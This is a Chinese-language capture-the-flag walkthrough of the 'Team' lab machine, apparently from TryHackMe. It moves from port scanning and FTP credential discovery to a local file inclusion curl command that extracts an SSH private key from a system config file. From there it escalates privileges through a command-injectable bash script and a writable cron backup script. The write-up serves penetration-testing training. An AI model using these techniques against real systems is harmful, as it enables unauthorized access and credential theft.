Team
端口扫描
root@ip-10-10-24-73:~# nmap -sT -p- --min-rate 1000 10.10.147.173
Starting Nmap 7.60 ( https://nmap.org ) at 2023-08-25 11:36 BST
Stats: 0:01:32 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 89.29% done; ETC: 11:38 (0:00:11 remaining)
Nmap scan report for ip-10-10-147-173.eu-west-1.compute.internal (10.10.147.173)
Host is up (0.00031s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
MAC Address: 02:2C:55:76:10:69 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 100.59 seconds
root@ip-10-10-24-73:~# nmap -sTCV -p 21,22,80 --min-rate 1000 10.10.147.173
Starting Nmap 7.60 ( https://nmap.org ) at 2023-08-25 12:32 BST
Nmap scan report for ip-10-10-147-173.eu-west-1.compute.internal (10.10.147.173)
Host is up (0.00014s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 79:5f:11:6a:85:c2:08:24:30:6c:d4:88:74:1b:79:4d (RSA)
| 256 af:7e:3f:7e:b4:86:58:83:f1:f6:a2:54:a6:9b:ba:ad (ECDSA)
|_ 256 26:25:b0:7b:dc:3f:b2:94:37:12:5d:cd:06:98:c7:9f (EdDSA)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works! If you see this add 'te...
MAC Address: 02:2C:55:76:10:69 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.24 seconds
80
从首页可以发现一个域名, 修改本地 hosts 文件 team.thm
进行目录扫描
对于扫描结果:
- scripts : 应该是个目录
- assets : 和 scripts 一样
继续深入扫描
发现一个 script.txt 文件, 查看该内容我发现其是一个登陆脚本同时告诉我们存在一个备份文件, 其中有密码
所以我开始枚举后缀
查看该文件, 可以发现 FTP 的密码
FTP
使用上面得到的密码进行 FTP 登陆之后 查看共享的内容
这应该是 ftpuser
的家目录, 本来计划获取 ssh 私钥但是没有权限, 在 worksahre 中有一个文本文件, 我们将其下载下来查看发现其指向一个子域
其实在之前我们也可以通过枚举来获取这些信息
80 --> dev.team.thm
访问这个页面我发现其 URL 参数中指定了一个文件
那么应该是本地文件包含漏洞, 同时在之前从 FTP 中获取的信息告诉我们 id_rsa 在一个特殊的配置文件中, 在此我使用字典进行枚举查看 LFI-gracefulsecurity-linux.txt, 枚举后我们其中发现一个包含密钥的文件
我们将其下载后进行连接即可
root@ip-10-10-15-42:~/teamcw# curl -s http://dev.team.thm/script.php?page=/etc/ssh/sshd_config | tail -n 39 | sed -s "s/#//g" > id_rsa
root@ip-10-10-15-42:~/teamcw# chmod 600 id_rsa
后渗透
Dale
发现用户具有 gyles 用户特权
Dale --> gyles
查看执行文件
dale@TEAM:~$ cat ../gyles/admin_checks
#!/bin/bash
printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name >> /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$error 2>/dev/null
date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak
printf "Stats have been backed up\n"
gyles --> root
- 查看 gyles 用户的历史命令我发现其一直对
/usr/local/bin/main_backup.sh
文件进行操作, 根据名称推断我判断这是一个定时任务, 因此我查看该文件并进行修改 - 当然也可以通过查找术语 editors 和 admin 组的特殊文件来搜寻
执行命令获取 root 的 Shell